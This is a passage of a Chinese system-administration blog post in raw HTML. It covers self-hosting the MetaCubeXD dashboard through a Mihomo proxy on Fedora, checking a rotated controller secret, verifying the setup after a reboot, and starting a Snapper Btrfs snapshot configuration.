&lt;/span&gt;&lt;span class="lnt"&gt;4
&lt;/span&gt;&lt;span class="lnt"&gt;5
&lt;/span&gt;&lt;span class="lnt"&gt;6
&lt;/span&gt;&lt;span class="lnt"&gt;7
&lt;/span&gt;&lt;span class="lnt"&gt;8
&lt;/span&gt;&lt;span class="lnt"&gt;9
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo sed -i &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s1"&gt;&amp;#39;/^external-ui:/d; /^external-ui-name:/d; /^external-ui-url:/d&amp;#39;&lt;/span&gt; &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; /etc/mihomo/config.yaml
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;printf&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;%s\n&amp;#39;&lt;/span&gt; &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s1"&gt;&amp;#39;external-ui: ui&amp;#39;&lt;/span&gt; &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s1"&gt;&amp;#39;external-ui-name: xd&amp;#39;&lt;/span&gt; &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s1"&gt;&amp;#39;external-ui-url: &amp;#34;https://github.com/MetaCubeX/metacubexd/archive/refs/heads/gh-pages.zip&amp;#34;&amp;#39;&lt;/span&gt; &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;|&lt;/span&gt; sudo tee -a /etc/mihomo/config.yaml &amp;gt;/dev/null
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;两个密钥文件没有打印内容，仍保持 &lt;code&gt;0600&lt;/code&gt; 权限。修改后的配置再次通过校验：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;span class="lnt"&gt;4
&lt;/span&gt;&lt;span class="lnt"&gt;5
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;INFO Start initial configuration in progress
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;INFO Geodata Loader mode: memconservative
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;INFO Geosite Matcher implementation: succinct
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;INFO Initial configuration complete, total time: 5ms
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;configuration file /etc/mihomo/config.yaml test is successful
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;校验通过后重启服务：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo systemctl restart mihomo
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;systemctl is-active mihomo
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;实际输出为 &lt;code&gt;active&lt;/code&gt;。Mihomo 自动下载并解压了 MetaCubeXD。由于设置了 &lt;code&gt;external-ui-name: xd&lt;/code&gt;，访问 &lt;code&gt;/ui/&lt;/code&gt; 看到的是目录：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;a&lt;/span&gt; &lt;span class="na"&gt;href&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;xd/&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;xd/&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;a&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;真正的入口是：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;http://172.16.51.113:9091/ui/xd/
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;用 &lt;code&gt;curl&lt;/code&gt; 检查该地址，返回 HTTP 200、2429 字节，HTML 标题为：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;title&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;MetaCubeXD&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;title&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;最后确认密钥轮换确实生效：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;span class="lnt"&gt;4
&lt;/span&gt;&lt;span class="lnt"&gt;5
&lt;/span&gt;&lt;span class="lnt"&gt;6
&lt;/span&gt;&lt;span class="lnt"&gt;7
&lt;/span&gt;&lt;span class="lnt"&gt;8
&lt;/span&gt;&lt;span class="lnt"&gt;9
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;curl -sS -o /dev/null -w &lt;span class="s1"&gt;&amp;#39;old secret: %{http_code}\n&amp;#39;&lt;/span&gt; &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; -H &lt;span class="s2"&gt;&amp;#34;Authorization: Bearer &lt;/span&gt;&lt;span class="nv"&gt;$old_secret&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; http://127.0.0.1:9091/version
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;curl -sS -o /dev/null -w &lt;span class="s1"&gt;&amp;#39;new secret: %{http_code}\n&amp;#39;&lt;/span&gt; &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; -H &lt;span class="s2"&gt;&amp;#34;Authorization: Bearer &lt;/span&gt;&lt;span class="nv"&gt;$new_secret&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; http://127.0.0.1:9091/version
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;unset&lt;/span&gt; old_secret new_secret
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;old secret: 401
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;new secret: 200
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;从浏览器打开自托管入口，后端填写 &lt;code&gt;http://172.16.51.113:9091&lt;/code&gt;，密钥填写轮换后的值。连接成功后进入 &lt;code&gt;#/overview&lt;/code&gt;，面板显示：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;span class="lnt"&gt;4
&lt;/span&gt;&lt;span class="lnt"&gt;5
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;已连接到: http://172.16.51.113:9091
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;运行模式: 规则
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;热门代理: 🇯🇵 日本 03
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;UI v1.267.2 · Core v1.19.28
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;当前出口: Japan, Tokyo
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;至此不再需要 &lt;code&gt;https://d.metacubex.one&lt;/code&gt;。仍然使用同一个 MetaCubeXD，只是静态资源由自己的 Mihomo 托管；没有 Mixed Content，也不需要把 controller secret 交给第三方页面。&lt;/p&gt;
&lt;h3 id="重启验证"&gt;重启验证
&lt;/h3&gt;&lt;p&gt;最后重启 ThinkPad，验证这套配置不是只能在当前会话里工作：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo systemctl reboot
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;第一次重连时网络还没恢复，SSH 超时。再次连接成功后，boot ID 已经变化，并得到：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;span class="lnt"&gt;4
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;enabled
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;active
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Meta UNKNOWN 198.18.0.1/30
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;default via 198.18.0.2 dev Meta
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;这说明 systemd 在新一次启动中自动拉起了 Mihomo，TUN 接口和路由表也重新创建成功。&lt;/p&gt;
&lt;p&gt;再次通过本机 API 检查运行状态，并重复国内外连通性测试：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;span class="lnt"&gt;4
&lt;/span&gt;&lt;span class="lnt"&gt;5
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mode: rule
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;tun.enable: True
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Proxies: 🇯🇵 日本 03
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;baidu: 200
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;google: 204
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;&lt;code&gt;profile.store-selected: true&lt;/code&gt; 让日本 03 的选择跨重启保留。最后从 MacBook 再访问一次外部控制器：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;unauthenticated: 401
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;authenticated: {&amp;#34;meta&amp;#34;:true,&amp;#34;version&amp;#34;:&amp;#34;v1.19.28&amp;#34;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;至此，Mihomo 已经作为开机服务运行，以 TUN 接管 ThinkPad 的网络，按照订阅规则区分直连和代理流量，默认代理节点为 &lt;code&gt;🇯🇵 日本 03&lt;/code&gt;，局域网控制器监听 &lt;code&gt;9091&lt;/code&gt; 并要求 secret。SSH 在启动前后均可正常使用。&lt;/p&gt;
&lt;h2 id="配置-btrfs-快照与恢复"&gt;配置 Btrfs 快照与恢复
&lt;/h2&gt;&lt;p&gt;我使用 &lt;a class="link" href="http://snapper.io/" target="_blank" rel="noopener"
&gt;Snapper&lt;/a&gt; 管理 Btrfs 快照。这里的目标不是“尽可能多地拍快照”，而是建立一套规模有上限、能自动清理、发生问题时确实知道怎样恢复的方案。&lt;/p&gt;
&lt;p&gt;先只读检查实际布局：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;findmnt -t btrfs -o TARGET,SOURCE,FSTYPE,OPTIONS
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;得到：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;span class="lnt"&gt;4
&lt;/span&gt;&lt;span class="lnt"&gt;5
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;/ /dev/nvme1n1p3[/root] subvolid=259,subvol=/root
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;/home /dev/nvme1n1p3[/home] subvolid=258,subvol=/home
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;/.snapshots /dev/nvme1n1p3[/snapshots] subvolid=256,subvol=/snapshots
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;/var /dev/nvme1n1p3[/var] subvolid=257,subvol=/var
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;/srv /dev/nvme0n1p1 subvolid=5,subvol=/
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;系统盘 Btrfs UUID 是 &lt;code&gt;94c4f2ec-17aa-420f-a87a-6bbec3f57ad9&lt;/code&gt;。&lt;code&gt;/etc/fstab&lt;/code&gt; 已经把 &lt;code&gt;snapshots&lt;/code&gt; 子卷单独挂载到 &lt;code&gt;/.snapshots&lt;/code&gt;。&lt;/p&gt;
&lt;h3 id="快照边界"&gt;快照边界
&lt;/h3&gt;&lt;p&gt;只为根子卷 &lt;code&gt;/root&lt;/code&gt; 创建名为 &lt;code&gt;root&lt;/code&gt; 的 Snapper 配置。&lt;/p&gt;
&lt;p&gt;因为 Btrfs 快照不会跨越子卷边界，根快照会包含：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;/etc&lt;/code&gt; 中的系统配置；&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/usr&lt;/code&gt; 中由 Fedora 管理的系统程序；&lt;/li&gt;
&lt;li&gt;Fedora 当前位于 &lt;code&gt;/usr/lib/sysimage/rpm&lt;/code&gt; 的 RPM 数据库；&lt;/li&gt;
&lt;li&gt;根子卷中的其他系统状态。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;它不会包含：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;/home&lt;/code&gt;：用户文件和 Nix 用户环境不跟着系统根回滚；&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/var&lt;/code&gt;：日志、缓存、容器和其他高频写入数据不进入根快照；&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/.snapshots&lt;/code&gt;：快照仓库自身不会被递归快照；&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/srv&lt;/code&gt;：服务数据位于另一块 Btrfs 硬盘，需要单独制定快照和备份策略；&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/boot&lt;/code&gt; 与 &lt;code&gt;/boot/efi&lt;/code&gt;：它们分别是 XFS 和 VFAT，不受 Btrfs 快照保护。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;这个边界正是安装时拆分子卷的意义。它让根快照保持相对小而稳定，但也意味着“恢复根快照”等于恢复系统配置和软件状态，不等于让整台机器的每一份数据一起穿越回过去。&lt;/p&gt;
&lt;h3 id="安装-snapper-与-dnf5-actions-插件"&gt;安装 Snapper 与 DNF5 actions 插件
&lt;/h3&gt;&lt;p&gt;Fedora 44 仓库当前提供：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;snapper 0.13.0-3.fc44
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;libdnf5-plugin-actions 5.4.2.1-1.fc44
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;实际安装。RPM Fusion 镜像此前不稳定，而这两个包都来自 Fedora 官方仓库，所以本次临时禁用 RPM Fusion：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo dnf install --disablerepo&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;rpmfusion-*&amp;#39;&lt;/span&gt; &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; snapper libdnf5-plugin-actions
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;DNF 安装了 10 个软件包，事务中的两个目标包为：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;libdnf5-plugin-actions x86_64 5.4.2.1-1.fc44 updates
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;snapper x86_64 0.13.0-3.fc44 fedora
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;完成！
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;不安装 &lt;code&gt;python3-dnf-plugin-snapper&lt;/code&gt;。Fedora 44 默认使用 DNF5，旧 Python 插件属于 DNF4 插件体系，安装后不会自动接入 DNF5 事务。这里使用 Fedora 官方提供的 &lt;code&gt;libdnf5-plugin-actions&lt;/code&gt;，通过 DNF5 hook 调用 Snapper。&lt;/p&gt;
&lt;p&gt;参考：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a class="link" href="https://dnf5.readthedocs.io/en/latest/libdnf5_plugins/actions.8.html" target="_blank" rel="noopener"
&gt;DNF5 Actions Plugin&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class="link" href="https://dustymabe.com/2025/01/07/fedora-btrfs-snapper-the-fedora-41-edition/" target="_blank" rel="noopener"
&gt;Fedora BTRFS+Snapper - The Fedora 41 Edition&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="让-snapper-接管现有-snapshots-子卷"&gt;让 Snapper 接管现有 snapshots 子卷
&lt;/h3&gt;&lt;p&gt;&lt;code&gt;snapper --config root create-config /&lt;/code&gt; 默认会自己创建 &lt;code&gt;/.snapshots&lt;/code&gt; 子卷。但这台机器已经由 Anaconda 创建并挂载了独立的 &lt;code&gt;/snapshots&lt;/code&gt; 子卷，直接运行会因为路径已存在而失败。&lt;/p&gt;
